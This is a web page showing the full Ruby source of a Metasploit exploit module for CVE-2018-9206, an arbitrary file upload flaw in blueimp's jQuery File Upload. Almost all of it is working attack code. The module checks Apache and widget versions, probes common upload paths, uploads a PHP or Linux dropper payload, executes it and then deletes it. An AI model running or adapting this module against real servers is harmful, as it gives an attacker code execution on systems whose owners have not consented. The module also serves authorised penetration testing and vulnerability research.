Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/unix/webapp/jquery_file_upload.rb
19664 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
8
Rank = ExcellentRanking
9
10
include Msf::Exploit::Remote::HttpClient
11
include Msf::Exploit::PhpEXE
12
13
def initialize(info = {})
14
super(
15
update_info(
16
info,
17
'Name' => "blueimp's jQuery (Arbitrary) File Upload",
18
'Description' => %q{
19
This module exploits an arbitrary file upload in the sample PHP upload
20
handler for blueimp's jQuery File Upload widget in versions <= 9.22.0.
21
22
Due to a default configuration in Apache 2.3.9+, the widget's .htaccess
23
file may be disabled, enabling exploitation of this vulnerability.
24
25
This vulnerability has been exploited in the wild since at least 2015
26
and was publicly disclosed to the vendor in 2018. It has been present
27
since the .htaccess change in Apache 2.3.9.
28
29
This module provides a generic exploit against the jQuery widget.
30
},
31
'Author' => [
32
'Claudio Viviani', # WordPress Work the Flow (Arbitrary) File Upload
33
'Larry W. Cashdollar', # (Re)discovery, vendor disclosure, and PoC
34
'wvu' # Metasploit module
35
],
36
'References' => [
37
['CVE', '2018-9206'],
38
['URL', 'http://www.vapidlabs.com/advisory.php?v=204'],
39
['URL', 'https://github.com/blueimp/jQuery-File-Upload/pull/3514'],
40
['URL', 'https://github.com/lcashdol/Exploits/tree/master/CVE-2018-9206'],
41
['URL', 'https://www.homelab.it/index.php/2015/04/04/wordpress-work-the-flow-file-upload-vulnerability/'],
42
['URL', 'https://github.com/rapid7/metasploit-framework/pull/5130'],
43
['URL', 'https://httpd.apache.org/docs/current/mod/core.html#allowoverride']
44
],
45
'DisclosureDate' => '2018-10-09', # Larry's disclosure to the vendor
46
'License' => MSF_LICENSE,
47
'Platform' => ['php', 'linux'],
48
'Arch' => [ARCH_PHP, ARCH_X86, ARCH_X64],
49
'Privileged' => false,
50
'Targets' => [
51
['PHP Dropper', 'Platform' => 'php', 'Arch' => ARCH_PHP],
52
['Linux Dropper', 'Platform' => 'linux', 'Arch' => [ARCH_X86, ARCH_X64]]
53
],
54
'DefaultTarget' => 0,
55
'Notes' => {
56
'Reliability' => UNKNOWN_RELIABILITY,
57
'Stability' => UNKNOWN_STABILITY,
58
'SideEffects' => UNKNOWN_SIDE_EFFECTS
59
}
60
)
61
)
62
63
register_options([
64
OptString.new('TARGETURI', [true, 'Base path', '/jQuery-File-Upload'])
65
])
66
end
67
68
def version_paths
69
%w[
70
/package.json
71
/bower.json
72
].map { |u| normalize_uri(target_uri.path, u) }
73
end
74
75
# List from PoC sorted by frequency
76
def upload_paths
77
%w[
78
/server/php/index.php
79
/server/php/upload.class.php
80
/server/php/UploadHandler.php
81
/example/upload.php
82
/php/index.php
83
].map { |u| normalize_uri(target_uri.path, u) }
84
end
85
86
def check
87
a = nil
88
89
version_paths.each do |u|
90
vprint_status("Checking #{u}")
91
92
res = send_request_cgi(
93
'method' => 'GET',
94
'uri' => u
95
)
96
97
next unless res
98
99
unless a
100
res.headers['Server'] =~ /Apache\/([\d.]+)/ &&
101
$1 && (a = Rex::Version.new($1))
102
103
if a && a >= Rex::Version.new('2.3.9')
104
vprint_good("Found Apache #{a} (AllowOverride None may be set)")
105
elsif a
106
vprint_warning("Found Apache #{a} (AllowOverride All may be set)")
107
end
108
end
109
110
next unless res.code == 200 && (j = res.get_json_document) &&
111
j['version'] && (v = Rex::Version.new(j['version']))
112
113
if v <= Rex::Version.new('9.22.0')
114
vprint_good("Found unpatched jQuery File Upload #{v}")
115
return CheckCode::Appears
116
else
117
vprint_error("Found patched jQuery File Upload #{v}")
118
return CheckCode::Safe
119
end
120
end
121
122
CheckCode::Unknown
123
end
124
125
def find_upload
126
upload_paths.each do |u|
127
vprint_status("Checking #{u}")
128
129
res = send_request_cgi(
130
'method' => 'GET',
131
'uri' => u
132
)
133
134
if res && res.code == 200
135
vprint_good("Found #{u}")
136
return u
137
end
138
end
139
140
nil
141
end
142
143
def exploit
144
unless check == CheckCode::Appears && (u = find_upload)
145
fail_with(Failure::NotFound, 'Could not find target')
146
end
147
148
f = "#{rand_text_alphanumeric(8..42)}.php"
149
p = normalize_uri(File.dirname(u), 'files', f)
150
151
print_status('Uploading payload')
152
res = upload_payload(u, f)
153
154
unless res && res.code == 200 && res.body.include?(f)
155
fail_with(Failure::NotVulnerable, 'Could not upload payload')
156
end
157
158
print_good("Payload uploaded: #{full_uri(p)}")
159
160
print_status('Executing payload')
161
exec_payload(p)
162
163
print_status('Deleting payload')
164
delete_payload(u, f)
165
end
166
167
def upload_payload(u, f)
168
p = get_write_exec_payload(unlink_self: true)
169
170
m = Rex::MIME::Message.new
171
m.add_part(p, nil, nil, %(form-data; name="files[]"; filename="#{f}"))
172
173
send_request_cgi(
174
'method' => 'POST',
175
'uri' => u,
176
'ctype' => "multipart/form-data; boundary=#{m.bound}",
177
'data' => m.to_s
178
)
179
end
180
181
def exec_payload(p)
182
send_request_cgi({
183
'method' => 'GET',
184
'uri' => p
185
}, 0)
186
end
187
188
def delete_payload(u, f)
189
send_request_cgi(
190
'method' => 'DELETE',
191
'uri' => u,
192
'vars_get' => { 'file' => f }
193
)
194
end
195
196
end
197
198